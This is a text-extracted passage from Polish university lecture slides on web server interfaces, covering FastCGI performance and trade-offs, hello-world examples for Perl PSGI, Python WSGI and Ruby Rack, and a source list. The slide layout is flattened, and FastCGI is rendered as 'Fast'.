generowanych danych wyjściowych = 5KB : 59ms + 50ms + (0.37ms)(5) = 111ms Fast: 22ms + (0.28ms)(5) = 23ms Zalety i wady Fast Zalety Wady Elastyczność Wydajność Trwałość procesów, obsługa wielu klientów Kompatybilność z Tryb Niezależność Izolacja procesów Możliwość przetwarzania rozproszonego Proces Fast pracujący na innym węźle Prosta migracja Konieczność rekonfiguracji serwera Dr inż. Stanisław Polak 63 Przedmiot: Internet i jego zastosowanie Dr inż. Stanisław Polak 64 Przedmiot: Internet i jego zastosowanie
Fast Fast S Interfejsy wysokopoziomowe Perl Web Server Gateway Interface Simple Common Gateway Interface Podobny do Fast ale łatwiejszy do implementacji 1 my $app = sub { 2 my $env = shift ; 3 return [ 4 200, 5 [ Content - Type => text / plain ], 6 [ " Hello World " ] 7 ] ; 8 }; Web Server Gateway Interface Perl 1 def simple_app ( environ, start_response ) : 2 start_response ( 200 OK, [ ( Content - Type, text / plain ) ] ) 3 return [ Hello World!\n ] Rack Python 1 class HelloWorld 2 def call ( env ) 3 return [2 00, { Content - Type => text / plain }, [ " Hello world!" ] ] 4 end 5 end Ruby Dr inż. Stanisław Polak 65 Przedmiot: Internet i jego zastosowanie Dr inż. Stanisław Polak 66 Przedmiot: Internet i jego zastosowanie Źródła Źródła Źródła I Mark R. Brown. Fast Developer s Kit. http://www.fastcgi.com/devkit/doc/fcgi-devel-kit.htm. The Apache Software Foundation. Apache HTTP Server Version 2.2 Documentation. http://httpd.apache.org/docs/2.2/. Steve Krug. Nie każ mi myśleć! O życiowym podejściu do funkcjonalności stron internetowych. Helion, wydanie drugie, 2006. Netcraft. September 2010 Web Server Survey. http://news.netcraft.com/. Inc. Open Market. Fast: A High-Performance Web Server Interface. http: //www.fastcgi.com/devkit/doc/fastcgi-whitepaper/fastcgi.htm. Źródła II Jarosław Rafa. Gopher: umarły świstak? http://www.wsp.krakow.pl/papers/gopher.html. Jarosław Rafa. Hyper-G - zapomniany następca WWW. http://www.wsp.krakow.pl/papers/hyperg.html. Breach Security. ModSecurity Reference Manual. http://www.modsecurity.org/documentation/. Cezary Sobaniec. Common Gateway Interface. http://skisr.cs.put.poznan.pl/semestr8/psii/lec/psii_wyklad3_ cgi.pdf. Tomasz Traczyk. XForms. http://www.ploug.org.pl/konf_08/materialy/pdf/03_traczyk.pdf. Dr inż. Stanisław Polak 67 Przedmiot: Internet i jego zastosowanie Dr inż. Stanisław Polak 68 Przedmiot: Internet i jego zastosowanie
Źródła Źródła III Peter Wainwright. Apache 2.0 dla zaawansowanych. Helion, 2004. Dr inż. Stanisław Polak 69 Przedmiot: Internet i jego zastosowanie